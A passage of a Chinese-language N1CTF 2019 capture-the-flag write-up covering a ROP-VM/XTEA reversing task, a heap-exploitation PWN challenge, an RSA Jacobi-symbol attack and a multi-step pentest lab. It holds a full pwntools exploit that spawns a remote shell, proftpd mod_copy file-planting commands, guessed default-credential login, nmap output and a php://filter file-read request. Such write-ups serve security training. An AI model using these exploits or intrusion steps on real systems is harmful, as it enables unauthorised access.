45, 0, 6274816], 6274464: [24, 27, 0, 6274432], 6276160: [79, 32, 0, 6274592], 6276416: [46, 31, 0, 6274272], 6276672: [31, 43, 0, 6276640], 6275008: [86, 6, 0, 6274656], 6274976: [100, 36, 0, 6274944], 6275104: [19, 16, 0, 6274432], 6277184: [18, 4, 0, 6275648], 6275360: [92, 15, 0, 6275008], 6277440: [37, 14, 0, 6275136], 6275616: [35, 19, 0, 6275488], 6275872: [480, 55, 0, 6275840], 6274528: [58, 34, 0, 6274496], 6276128: [7, 17, 0, 6274912], 6276384: [10, 20, 0, 6274368], 6274880: [19, 13, 0, 6274848], 6274560: [24, 41, 0, 6274432], 6276640: [59, 39, 0, 6275744], 6274816: [26, 43, 0, 6274784], 6276896: [81, 21, 0, 6274912]}
def sort_fun(a):
return itum[a][1]
def Travel(source, new_p):
global rsi, rdi
if rdi > 233:
return
if rsi >= 1050:
print([table.index(i) for i in new_p])
ans = []
for cur in table[table.index(new_p[-1])+1:]:
if itum[cur][3] in new_p and cur not in new_p:
ans.append(cur)
ans.sort(key=sort_fun)
for i in ans:
rsi += itum[i][0]
rdi += itum[i][1]
Travel(i, new_p + [i])
rsi -= itum[i][0]
rdi -= itum[i][1]
first_node = 6274272
rsi = itum[first_node][0]
rdi = itum[first_node][1]
Travel(first_node, [first_node])
两种方式均可，最后得到的index如下。
1050 233
[0, 1, 3, 5, 10, 11, 16, 25, 26, 28, 31, 32, 35, 52, 56, 59, 76, 91, 97]
### ROPVM
rop实现的一个vm，初始化数据如下
11 11 D0 AC C0 14 00 00 76 29 44 00 00 00 00 00
49 6E 70 75 74 20 46 6C E6 15 40 00 00 00 00 00 Input Flag: 6CD100
08 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 61 67 3A 20 00 00 00 00
E6 15 40 00 00 00 00 00 10 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
43 6F 6E 67 72 61 74 75 E6 15 40 00 00 00 00 00 Congratulations! 6CD180
88 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 6C 61 74 69 6F 6E 73 21
E6 15 40 00 00 00 00 00 90 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
00 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
98 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 57 72 6F 6E 67 20 46 6C Wrong Flag! 6CD1C0
E6 15 40 00 00 00 00 00 C8 D1 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
61 67 21 20 00 00 00 00 E6 15 40 00 00 00 00 00
D0 D1 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00 cipher ???
76 29 44 00 00 00 00 00 BE B2 DA 86 A8 16 6D 14 6CD200
E6 15 40 00 00 00 00 00 08 D2 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
52 DB 9E 3C 8F 65 F1 54
E6 15 40 00 00 00 00 00
10 D2 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 43 26 C1 19 9D 69 33 2A
E6 15 40 00 00 00 00 00 18 D2 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
6B 9E CD 00 26 32 CE C1
E6 15 40 00 00 00 00 00
20 D2 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 00 00 00 00 00 00 00 00
E6 15 40 00 00 00 00 00 10 D3 6C 00 00 00 00 00 key:???
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00 F14gF114gF11114g 6CD310
46 31 34 67 46 31 31 34
E6 15 40 00 00 00 00 00
18 D3 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 67 46 31 31 31 31 34 67
E6 15 40 00 00 00 00 00 20 D3 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00
04 00 00 00 00 00 00 00 6CD608
E6 15 40 00 00 00 00 00
10 D6 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
76 29 44 00 00 00 00 00 00 D0 6C 00 00 00 00 00 pointer -> str 6CD610
E6 15 40 00 00 00 00 00 18 D6 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 E6 15 40 00 00 00 00 00
00 D1 6C 00 00 00 00 00 E0 FB 40 00 00 00 00 00 printf
E6 15 40 00 00 00 00 00 00 00 00 00 00 00 00 00 sys_read <= 0x20 6CD000
07 17 40 00 00 00 00 00 00 D0 6C 00 00 00 00 00
76 29 44 00 00 00 00 00 20 00 00 00 00 00 00 00
A0 F4 43 00 00 00 00 00
可以编写idapython脚本对初始化数据进行解析，由于程序中涉及到部分libc函数和sys_read，这部分没有时间处理了。
start = 0x1d24890
rsp = start
for i in xrange(49):
ropAddr = Qword(rsp)
rsp += 8
print hex(rsp),
while True:
ins = GetDisasm(ropAddr)
#print ins.split()
#print ins
if 'pop' in ins:
print ins
print ins.split()[1] + ' = '+ hex(Qword(rsp))
rsp += 8
elif 'retn' in ins:
#rsp += 8
break
else:
print ins
ropAddr = next_head(ropAddr)
print 'call printf'
初始化操作主要分为这几部分
* 设置字符串地址，如Input Flag，Congratulations!
* 设置cipher地址，为6CD200
* 设置key地址，6CD310
* 设置pointer -> str，6CD610
* 调用printf和sys_read，限制输入长度0x20
* 最后设置两次大循环的结束地址，分别是6CD618，FOA:c68和6CD620，即FOA：e98 。
大循环处理部分注释如下：
40 85 47 00 00 00 00 00 E6 15 40 00 00 00 00 00 set rax -> str
F8 FF FF FF FF FF FF FF 33 61 42 00 00 00 00 00
40 85 47 00 00 00 00 00 E6 15 40 00 00 00 00 00 rax = s[:8]
00 D0 6C 00 00 00 00 00 06 0E 47 00 00 00 00 00
76 29 44 00 00 00 00 00 rdx = 00 00 00 00 DF 59 37 5F
5f3759df
E6 15 40 00 00 00 00 00 08 D3 6C 00 00 00 00 00
C6 15 43 00 00 00 00 00 76 29 44 00 00 00 00 00 ...._Y7_01234567F14gF114gF11114g
20 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
08 D6 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
E6 15 40 00 00 00 00 00 0C D3 6C 00 00 00 00 00 20 00 00 00 00 00 00 00 6CD600
20 69 41 00 00 00 00 00 49 48 47 00 00 00 00 00
04 00 00 00 00 00 00 00 rcx = 4
89 4A 47 00 00 00 00 00
25 0E 40 00 00 00 00 00 rax = s[4：8]
E4 D3 6C 00 00 00 00 00
A3 CA 47 00 00 00 00 00 mov [rbx+20h], eax ;
shl eax, cl
mov [rbx+20h], eax
00 00 00 00 00 00 00 00
D1 43 44 00 00 00 00 00 E0 D3 6C 00 00 00 00 00
00 00 00 00 00 00 00 00 A3 CA 47 00 00 00 00 00
00 00 00 00 00 00 00 00 E6 15 40 00 00 00 00 00
0C D3 6C 00 00 00 00 00 20 69 41 00 00 00 00 00
49 48 47 00 00 00 00 00
05 00 00 00 00 00 00 00 rcx = 5
-1
rdx = s[4：8]
shr dword ptr [rdx], cl
76 29 44 00 00 00 00 00 04 D4 6C 00 00 00 00 00
E6 15 40 00 00 00 00 00 00 D5 6C 00 00 00 00 00
20 69 41 00 00 00 00 00 69 6D 42 00 00 00 00 00
25 0E 40 00 00 00 00 00 04 D4 6C 00 00 00 00 00
07 17 40 00 00 00 00 00 00 D4 6C 00 00 00 00 00
D1 B3 43 00 00 00 00 00
mov ecx, [rsi]; s[0:4]<<4 6CD500
mov [rdi], cx; s[0:4]<<4&0xff
mov [rdi+2], dh
E6 15 40 00 00 00 00 00
E1 02 40 00 00 00 00 00 20 69 41 00 00 00 00 00
2A 61 45 00 00 00 00 00 xor ecx, [rbx+0]; s[0:4]<<4 ^ s[4:8]>>5
E6 15 40 00 00 00 00 00
0C D3 6C 00 00 00 00 00 20 69 41 00 00 00 00 00
89 4A 47 00 00 00 00 00 FA 5E 42 00 00 00 00 00 mov eax, [rax]
; rax = s[4;8]
add eax, ecx
s[4;8] + (s[0:4]<<4 ^ s[4:8]>>5)
25 0E 40 00 00 00 00 00 E0 D3 6C 00 00 00 00 00
A3 CA 47 00 00 00 00 00 00 00 00 00 00 00 00 00 mov [rbx+20h], eax
E6 15 40 00 00 00 00 00 00 D5 6C 00 00 00 00 00
07 17 40 00 00 00 00 00 00 D3 6C 00 00 00 00 00
D1 B3 43 00 00 00 00 00 76 29 44 00 00 00 00 00 rsi = 6CD300
mov ecx, [rsi]; ecx = 0
E1 02 40 00 00 00 00 00 E6 15 40 00 00 00 00 00
18 D4 6C 00 00 00 00 00 C6 15 43 00 00 00 00 00
07 17 40 00 00 00 00 00 80 D4 6C 00 00 00 00 00
E6 15 40 00 00 00 00 00 03 00 00 00 00 00 00 00 pop rdi ;rdi = 3
and ecx, edi
mov ecx, [rdx+rcx*4]
mov eax, [rdx+rax*4]
sub eax, ecx
* 主要操作是开始载入输入地址，然后载入delta是5f3759df。
* 在6CD600设置大循环次数是0x20.
* 然后对输入进行操作，注意两次pop rcx的结果，分别是左移4和右移5，类似tea。
* 之后又有一次pop rdx的操作，使得rdi = 3
* 后续将rax和rcx分别作为index，查表，符合xtea的结构。
* 密钥是F14gF114gF11114g
* delta是5f3759df，写出脚本还原即可。
#include <stdio.h>
#include <stdint.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x5F3759DF;
for (i = 0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
}
v[0] = v0; v[1] = v1;
}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x5F3759DF, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}
int check(uint32_t *v)
{
uint32_t const k[4] = { 0x67343146, 0x34313146, 0x31314667, 0x67343131 };
unsigned int r = 32;//num_rounds建议取值为32
decipher(r, v, k);
printf("%c", v[0] & 0xff);
printf("%c", (v[0] >> 8 )& 0xff);
printf("%c", (v[0] >> 16) & 0xff);
printf("%c", (v[0] >> 24) & 0xff);
printf("%c", v[1] & 0xff);
printf("%c", (v[1] >> 8) & 0xff);
printf("%c", (v[1] >> 16) & 0xff);
printf("%c", (v[1] >> 24) & 0xff);
return 0;
}
int main()
{
uint32_t cipher[] = { 0x86DAB2BE, 0x146D16A8, 0x3C9EDB52, 0x54F1658F, 0x19C12643, 0x2A33699D, 0x00CD9E6B, 0xC1CE3226 };
check(&cipher[0]);
check(&cipher[2]);
check(&cipher[4]);
check(&cipher[6]);
return 0;
}
## PWN
### warmup
菜单堆，uaf、tcache、IO_stdout组合题，限制0x40 size比较恶心
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
context.log_level = "debug"
elf = ELF("./warmup",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive
if DEBUG == 1:
if context.arch == "i386":
libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
elif context.arch == "amd64":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
s = process("./warmup")
elif DEBUG == 2:
if context.arch == "i386":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 warmup")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 warmup")
elif context.arch == "amd64":
libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 warmup")
os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 warmup")
s = process("./warmup")
elif DEBUG == 3:
libc = ELF("./libc-2.27.so",checksec=False)
ip = "47.52.90.3"
port = 9999
s = remote(ip,port)
def z(addr):
raw_input("debug?")
gdb.attach(s, "b *" + str(addr))
wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
with open("/proc/%s/mem" % mypid) as mem:
mem.seek(address)
return mem.read(size)
def findModuleBase(pid, mem):
name = os.readlink("/proc/%s/exe" % pid)
with open("/proc/%s/maps" % pid) as maps:
for line in maps:
if name in line:
addr = int(line.split("-")[0], 16)
mem.seek(addr)
if mem.read(4) == "\x7fELF":
bitFormat = u8(leak(addr + 4, 1))
if bitFormat == 2:
global wordSz
global hwordSz
global bits
wordSz = 8
hwordSz = 4
bits = 64
return addr
log.failure("Module's base address not found.")
sys.exit(1)
def zx(addr = 0):
global mypid
mypid = proc.pidof(s)[0]
raw_input("debug?")
with open("/proc/%s/mem" % mypid) as mem:
moduleBase = findModuleBase(mypid, mem)
gdb.attach(s, "set follow-fork-mode parent\nb *" + hex(moduleBase+addr))
def clean():
s.close()
if DEBUG == 2:
if context.arch == "i386":
os.system("patchelf --set-interpreter /lib/ld-linux.so.2 warmup")
os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 warmup")
if context.arch == "amd64":
os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 warmup")
os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 warmup")
def menu(x):
s.sla(">>", str(x))
def add(data):
menu(1)
s.sa("content>>", data)
def delete(idx):
menu(2)
s.sla("index:", str(idx))
def modify(idx, data):
menu(3)
s.sla("index:", str(idx))
s.sa("content>>", data)
def pwn():
add('A'*0x30)
add('B'*0x30)
add('C'*0x30)
add('D'*0x30)
add('E'*0x30) # avoid overflow
modify(4, "DDDD")
delete(9)
delete(9)
delete(9)
delete(4)
#zx(0xB98)
modify(0, 'a'*0x20 + p64(0) + p64(0x51)) # double free
delete(9)
delete(0)
add('\xa0')
add('EEEE')
add(chr(0)*0x10+p64(0)+p64(0xa1)) # unsorted bin
modify(1, 'D'*8)
for i in range(7):
delete(9)
delete(9)
modify(1, "\x60\x57") # \x60
delete(4)
modify(3, 'DDDD') # delete(3)
delete(9)
modify(3, '\xc0')
add('DDDD')
#### zx(0xB98) ##############
add('DDDD')
add(p64(0xfbad3887) + p64(0) * 3 + "\0")
s.ru(p64(0xffffffffffffffff))
s.r(8)
libc.address = u64(s.r(6) + "\0\0") - 0x3eb780
free_hook = libc.sym["__free_hook"]
one_shot = libc.address + 0x4f322
info("libc.address 0x%x", libc.address)
info("free_hook 0x%x", free_hook)
info("one_shot 0x%x", one_shot)
#modify(7, p64(free_hook))
delete(2)
delete(3)
delete(4)
add(p64(free_hook))
add('DDDD')
add(p64(one_shot))
delete(1)
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
s.irt()
#clean()
# N1CTF{0359e2a5bf6222aa34bb22b7c099adda}
def dump():
pwn()
s.recv(timeout=1)
s.sl("cat warmup")
s.sl("exit")
data = s.ra()
f = open("dump", "wb")
f.write(data)
f.close()
if __name__ == "__main__":
pwn()
## CRYPTO
### Part3-BabyRSA
若同余式 x**2 == a (mod m), (a, m) = 1 有解，则a叫做模m的平方剩余，否则就叫平方非剩余。 雅可比符号Jacobi(a,
m)是勒让得符号的推广，若雅可比符号为-1，则说明a是m的平方非剩余，但是为1并不能说明a是m的平方剩余。
首先构造中padding是经过平方处理的： padding = random.randint(0, 2**1000) ** 2
假设产生随机数为r，则padding = r ** 2 并且不管随机数的因子中有多少个2，经过平方后，因子2个数必为偶数。
再根据明文的构造，这里加括号容易说明： message = padding << (1 + (m % 2)) 左移1或2位代表乘以2**1或2**2。
也就是说
* 如果m%2==1，那么构造的message加密后有: message**e == ((2**2)*padding)**e == ((2**2)*(r**2))**e == ((2r)**e)**2 == C (mod N)
* 如果m%2==0，那么构造的message加密后有: message**e == ((2**1)*padding)**e == (2*(r**2))**e == C (mod N) 因为r中2因子为偶数个，所以一旦m%2==0，Jacobi(C, N)一定为-1， 又因为m%2==1时，只要(2r)**e满足与N互素，则Jacobi(C, N)一定为1。 因此可还原flag，脚本如下：
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import gmpy2
N = 23981306327188221819291352455300124608114670714977979223022816906368788909398653961976023086718129607035805397846230124785550919468973090809881210560931396002918119995710297723411794214888622784232065592366390586879306041418300835178522354945438521139847806375923379136235993890801176301812907708937658277646761892297209069757559519399120988948212988924583632878840216559421398253025960456164998680766732013248599742397199862820924441357624187811402515396393385081892966284318521068948266144251848088067639941653475035145362236917008153460707675427945577597137822575880268720238301307972813226576071488632898694390629
e = 0x10001
def Jacobi(n, m):
n = n % m
if n == 0:
return 0
Jacobi2 = 1
if not (n & 1):
k = (-1) ** (((m**2 - 1) // 8) & 1)
while not (n & 1):
Jacobi2 *= k
n >>= 1
if n == 1:
return Jacobi2
return Jacobi2 * ((-1) ** ((((m - 1) // 2) * ((n - 1) // 2)) & 1)) * Jacobi(m % n, n)
c = []
with open('flag.enc', 'r') as f:
c = list(map(lambda x: int(x[:-1], 16), f.read().split('\n')[:-1]))
flag = []
for c_i in c:
if Jacobi(c_i, N) == 1:
flag.append("1")
else:
flag.append("0")
print(bytes.fromhex(hex(int("".join(flag[::-1]), 2))[2:]))
## WEB
### Pentest N1ctf2019.lab(step1)
proftpd 1.3.5rc3
ftp> dir
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r-- 1 ftp nogroup 60 Sep 8 12:42 23333.php
-rw-r--r-- 1 root root 60 Sep 7 07:47 W3lc0m3_T0_N1ctf.msg
-rw-r--r-- 1 ftp nogroup 60 Sep 8 11:10 fxxky0u.php
-rw-r--r-- 1 root root 26 Sep 7 07:47 index.html
-rw-r--r-- 1 ftp nogroup 60 Sep 8 12:18 qiyou.php
-rw-r--r-- 1 ftp nogroup 60 Sep 8 12:43 test.php
226 Transfer complete
ftp> site cpfr W3lc0m3_T0_N1ctf.msg
350 File or directory exists, ready for destination name
ftp> site cpto mads.php
250 Copy successful
http://bugs.proftpd.org/show_bug.cgi?id=4372
http://47.52.129.242/mote.php http://47.52.129.242/mads.php
根据ftp的两种模式原理，主动模式需要客户端端口打开，所以本地一般不能成功，会被防火墙阻断，放在服务器连接ftp，用主动模式即可。
然后根据提示用snap的漏洞打 CVE-2019-7304
但是服务器的snap version是4.0
snap 2.40
snapd 2.40
series 16
ubuntu 14.04
kernel 4.4.0-93-generic
没法打，查看/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
ntp:x:103:109::/home/ntp:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
proftpd:x:105:65534::/var/run/proftpd:/bin/false
ftp:x:106:65534::/srv/ftp:/bin/false
dirty_sock:x:1000:1000::/home/dirty_sock:/bin/bash
有一个dirtysock用户，然后，小机灵直接猜一下之前应该有人打过（也可能是snap被人升级了，或者出题人留下的后门），如果没改账号密码，我就可以直接登上了
dirtysock dirty_sock
dirty_sock@web:/$ sudo cat /root/flag.txt
N1CTF{ImpOrtant_P0int3_4de0e}
### Pentest N1ctf2019.lab(step 2) ——部分思路
nmap 扫一下C段。扫到一个10.0.0.88 nmap扫一下端口
NSE: Loaded 125 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating NSE at 13:09
Completed NSE at 13:09, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:09
Completed Parallel DNS resolution of 1 host. at 13:09, 0.00s elapsed
Initiating Connect Scan at 13:09
Scanning 10.0.0.88 [1000 ports]
Discovered open port 445/tcp on 10.0.0.88
Discovered open port 139/tcp on 10.0.0.88
Discovered open port 135/tcp on 10.0.0.88
Discovered open port 80/tcp on 10.0.0.88
Discovered open port 3389/tcp on 10.0.0.88
Discovered open port 49153/tcp on 10.0.0.88
Discovered open port 49163/tcp on 10.0.0.88
Discovered open port 49156/tcp on 10.0.0.88
Discovered open port 49154/tcp on 10.0.0.88
Discovered open port 49155/tcp on 10.0.0.88
Discovered open port 49152/tcp on 10.0.0.88
Completed Connect Scan at 13:09, 2.42s elapsed (1000 total ports)
Initiating Service scan at 13:09
Scanning 11 services on 10.0.0.88
Service scan Timing: About 54.55% done; ETC: 13:11 (0:00:44 remaining)
Completed Service scan at 13:10, 58.55s elapsed (11 services on 1 host)
NSE: Script scanning 10.0.0.88.
Initiating NSE at 13:10
Completed NSE at 13:10, 6.78s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.01s elapsed
Nmap scan report for 10.0.0.88
Host is up (0.00013s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win32) PHP/5.5.9)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.39 (Win32) PHP/5.5.9
|_http-title: Index of img/
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 microsoft-ds
3389/tcp open ssl
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows 98, Windows Server 2008 R2; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98, cpe:/o:microsoft:windows_server_2008:r2
Host script results:
| nbstat: NetBIOS name: DEV, NetBIOS user: <unknown>, NetBIOS MAC: 00:16:3e:01:30:66 (Xensource)
| Names:
| N1CTF2019<00> Flags: <group><active>
| DEV<00> Flags: <unique><active>
|_ DEV<20> Flags: <unique><active>
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol
NSE: Script Post-scanning.
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Initiating NSE at 13:10
Completed NSE at 13:10, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.61 seconds
其实也可以在连接中看到一个地址
10.0.0.85:40460 10.0.0.88:80 ESTABLISHED
真贴心，nmap都装好了
用ssh建立一个socks5代理，将端口转发出来，方便操作
socks5://xxx.xxx.xxx.xxx:xxxxxx
view-source:http://10.0.0.88/readfile.php?path=php://filter/read=convert.base64-encode/resource=readfile.php
readfile.php
<?php
header('Content-type: image/jpg');
@readfile($_GET["path"]);
index.php
<!DOCTYPE html>
<html>
<?php
error_reporting(0);
$path = "img/";
$items = array();
if (is_dir($path)){
if ($dh = opendir($path)){
while (($file = readdir($dh)) !== false){
$info = array("name"=>$file,"size"=>filesize($path.$file),"date"=>date("Y-m-d H:i:s",filectime($path.$file)),"Date_modify"=>date("Y-m-d H:i:s",filemtime($path.$file)));
array_push($items,$info);
}
closedir($dh);
}
}
function readimg($img){
global $path,$type;
if ($img=="."||$img==".."){
$type = "icon-dir";
return "#";
}
$type="icon-file";
$img = "readfile.php?path=".$path.$img;
return $img;
}
?>
<head>
<title>Index of <?php echo urldecode($path);?></title>
<meta charset="utf-8">
<style>
*{box-sizing:border-box}h1{border-bottom:1px solid silver;margin-bottom:10px;padding-bottom:10px;white-space:nowrap}table{border-collapse:collapse;font-family:Consolas,monaco,monospace}th{font-weight:700}.file-name{text-align:left}.file-size{padding-left:4em}.file-date-created,.file-date-modified{padding-left:2em}.file-date-created,.file-date-modified,.file-size{text-align:end;white-space:nowrap}.icon{padding-left:1.5em;text-decoration:none}.icon:hover{text-decoration:underline}.icon-file{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAABnRSTlMAAAAAAABupgeRAAABHUlEQVR42o2RMW7DIBiF3498iHRJD5JKHurL+CRVBp+i2T16tTynF2gO0KSb5ZrBBl4HHDBuK/WXACH4eO9/CAAAbdvijzLGNE1TVZXfZuHg6XCAQESAZXbOKaXO57eiKG6ft9PrKQIkCQqFoIiQFBGlFIB5nvM8t9aOX2Nd18oDzjnPgCDpn/BH4zh2XZdlWVmWiUK4IgCBoFMUz9eP6zRN75cLgEQhcmTQIbl72O0f9865qLAAsURAAgKBJKEtgLXWvyjLuFsThCSstb8rBCaAQhDYWgIZ7myM+TUBjDHrHlZcbMYYk34cN0YSLcgS+wL0fe9TXDMbY33fR2AYBvyQ8L0Gk8MwREBrTfKe4TpTzwhArXWi8HI84h/1DfwI5mhxJamFAAAAAElFTkSuQmCC) left top no-repeat}.icon-dir{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAd5JREFUeNqMU79rFUEQ/vbuodFEEkzAImBpkUabFP4ldpaJhZXYm/RiZWsv/hkWFglBUyTIgyAIIfgIRjHv3r39MePM7N3LcbxAFvZ2b2bn22/mm3XMjF+HL3YW7q28YSIw8mBKoBihhhgCsoORot9d3/ywg3YowMXwNde/PzGnk2vn6PitrT+/PGeNaecg4+qNY3D43vy16A5wDDd4Aqg/ngmrjl/GoN0U5V1QquHQG3q+TPDVhVwyBffcmQGJmSVfyZk7R3SngI4JKfwDJ2+05zIg8gbiereTZRHhJ5KCMOwDFLjhoBTn2g0ghagfKeIYJDPFyibJVBtTREwq60SpYvh5++PpwatHsxSm9QRLSQpEVSd7/TYJUb49TX7gztpjjEffnoVw66+Ytovs14Yp7HaKmUXeX9rKUoMoLNW3srqI5fWn8JejrVkK0QcrkFLOgS39yoKUQe292WJ1guUHG8K2o8K00oO1BTvXoW4yasclUTgZYJY9aFNfAThX5CZRmczAV52oAPoupHhWRIUUAOoyUIlYVaAa/VbLbyiZUiyFbjQFNwiZQSGl4IDy9sO5Wrty0QLKhdZPxmgGcDo8ejn+c/6eiK9poz15Kw7Dr/vN/z6W7q++091/AQYA5mZ8GYJ9K0AAAAAASUVORK5CYII=) left top 